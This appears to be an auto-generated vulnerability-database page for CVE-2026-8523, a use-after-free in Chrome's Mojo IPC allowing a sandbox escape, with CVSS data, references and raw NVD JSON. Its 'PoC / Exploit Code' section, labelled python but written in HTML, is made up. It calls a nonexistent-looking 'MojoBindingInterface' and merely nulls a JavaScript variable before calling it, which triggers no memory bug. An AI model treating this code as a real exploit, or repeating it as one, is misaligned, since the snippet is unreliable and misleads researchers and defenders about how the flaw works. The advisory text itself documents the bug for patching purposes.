CVE-2026-8523

Description

Use after free in Mojo in Google Chrome prior to 148.0.7778.168 allowed a remote attacker who had compromised the renderer process to potentially perform a sandbox escape via a crafted HTML page. (Chromium security severity: High)

CVSS Details

CVSS Score

8.3

Severity

HIGH

CVSS Vector

CVSS:3.1/AV:N/AC:H/PR:N/UI:R/S:C/C:H/I:H/A:H

Configurations (Affected Products)

No configuration data available.

Google Chrome < 148.0.7778.168

PoC / Exploit Code

⚠ For Security Research Only

The following code is for security research and authorized testing only.

python

<!--
PoC for CVE-2026-8523 (Conceptual)
This demonstrates the trigger mechanism for a Use-After-Free in Mojo.
Note: Actual exploitation requires specific memory layout and ROP chains.
-->
<!DOCTYPE html>
<html>
<head>
    <title>CVE-2026-8523 PoC</title>
</head>
<body>
<script>
    // Step 1: Create a Mojo object
    let mojoObject = new MojoBindingInterface();

    // Step 2: Setup a callback to trigger the free
    function triggerFree() {
        // Simulate the scenario where the object is freed
        mojoObject = null;
        // Force garbage collection if possible (implementation dependent)
        if (window.gc) window.gc();
    }

    // Step 3: Attempt to use the object after free
    // This attempts to call a method on the freed memory via a race condition
    setTimeout(() => {
        try {
            // This line triggers the UAF vulnerability
            mojoObject.sendMessage();
            console.log("If this logs, the browser might be vulnerable or patched.");
        } catch (e) {
            console.log("Exception caught: " + e.message);
        }
    }, 100);

    // Initiate the free sequence
    triggerFree();
</script>
</body>
</html>

References

[1] CVE.org https://www.cve.org/CVERecord?id=CVE-2026-8523
[2] NVD NIST https://nvd.nist.gov/vuln/detail/CVE-2026-8523
[3] CVE Details https://www.cvedetails.com/cve/CVE-2026-8523/
[4] VulDB https://vuldb.com/cve/CVE-2026-8523
[5] https://chromereleases.googleblog.com/2026/05/stable-channel-update-for-desktop_12.html
[6] https://issues.chromium.org/issues/483956252

Raw JSON Data

JSON

{"cve": {"id": "CVE-2026-8523", "sourceIdentifier": "[email protected]", "published": "2026-05-14T20:17:13.080", "lastModified": "2026-05-14T22:16:46.400", "vulnStatus": "Awaiting Analysis", "cveTags": [], "descriptions": [{"lang": "en", "value": "Use after free in Mojo in Google Chrome prior to 148.0.7778.168 allowed a remote attacker who had compromised the renderer process to potentially perform a sandbox escape via a crafted HTML page. (Chromium security severity: High)"}], "metrics": {"cvssMetricV31": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:H/PR:N/UI:R/S:C/C:H/I:H/A:H", "baseScore": 8.3, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "HIGH", "privilegesRequired": "NONE", "userInteraction": "REQUIRED", "scope": "CHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 1.6, "impactScore": 6.0}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-416"}]}], "references": [{"url": "https://chromereleases.googleblog.com/2026/05/stable-channel-update-for-desktop_12.html", "source": "[email protected]"}, {"url": "https://issues.chromium.org/issues/483956252", "source": "[email protected]"}]}}